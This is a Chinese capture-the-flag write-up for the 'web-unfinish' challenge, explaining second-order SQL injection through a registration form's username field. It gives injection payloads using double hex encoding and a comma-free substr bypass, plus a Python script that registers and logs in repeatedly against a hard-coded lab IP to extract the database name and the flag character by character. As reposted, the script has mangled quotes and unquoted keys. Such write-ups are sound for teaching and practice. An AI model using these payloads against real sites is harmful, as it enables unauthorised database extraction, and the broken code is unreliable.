当前位置:Gxlcms > 数据库问题 > 攻防世界-web-unfinish(sql二次注入)

攻防世界-web-unfinish(sql二次注入)

时间:2021-07-01 10:21:17 帮助过:3人阅读

经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。

构造payload如下

email=test2%40qq.com&username=0‘%2B(select hex(hex(database())))%2B‘0&password=123456

技术图片

进行两次hex解码后得到数据库名为web

>>> "373736353632".decode(hex).decode(hex)
web

然后尝试获取表名失败,因为过滤了information

看了评论说表名全靠猜哈哈

至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。

技术图片

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

技术图片

所以这里我们使用 substr 每次取10个字符长度与 ‘0‘ 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(str from 1 for 10) (表示截取str字符串的第1个到第10个字符)这种写法来绕过,具体获取 flag 的代码如下:

email=test3%40qq.com&username=0‘%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B‘0&password=123456

技术图片

进行两次hex解码后得到flag的前2位为:fl

运行脚本如下:

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ‘‘
    for i in range(10):
        data_database = {
            username:"0‘+ascii(substr((select database()) from "+str(i+1)+" for 1))+‘0",
            password:admin,
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            password:admin,
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,html.parser)
        getUsername=soup.find_all(span)[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ‘‘
    for i in range(40):
        data_flag = {
            username:"0‘+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+‘0",
            password:admin,
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            password:admin,
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,html.parser)
        getUsername=soup.find_all(span)[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

运行结果如下:

技术图片

 

参考:

https://www.secpulse.com/archives/74776.html

https://blog.csdn.net/qq_41429081/article/details/105600568

攻防世界-web-unfinish(sql二次注入)

标签:str   通过   http   get   cpu   表名   出错   ali   sub   

人气教程排行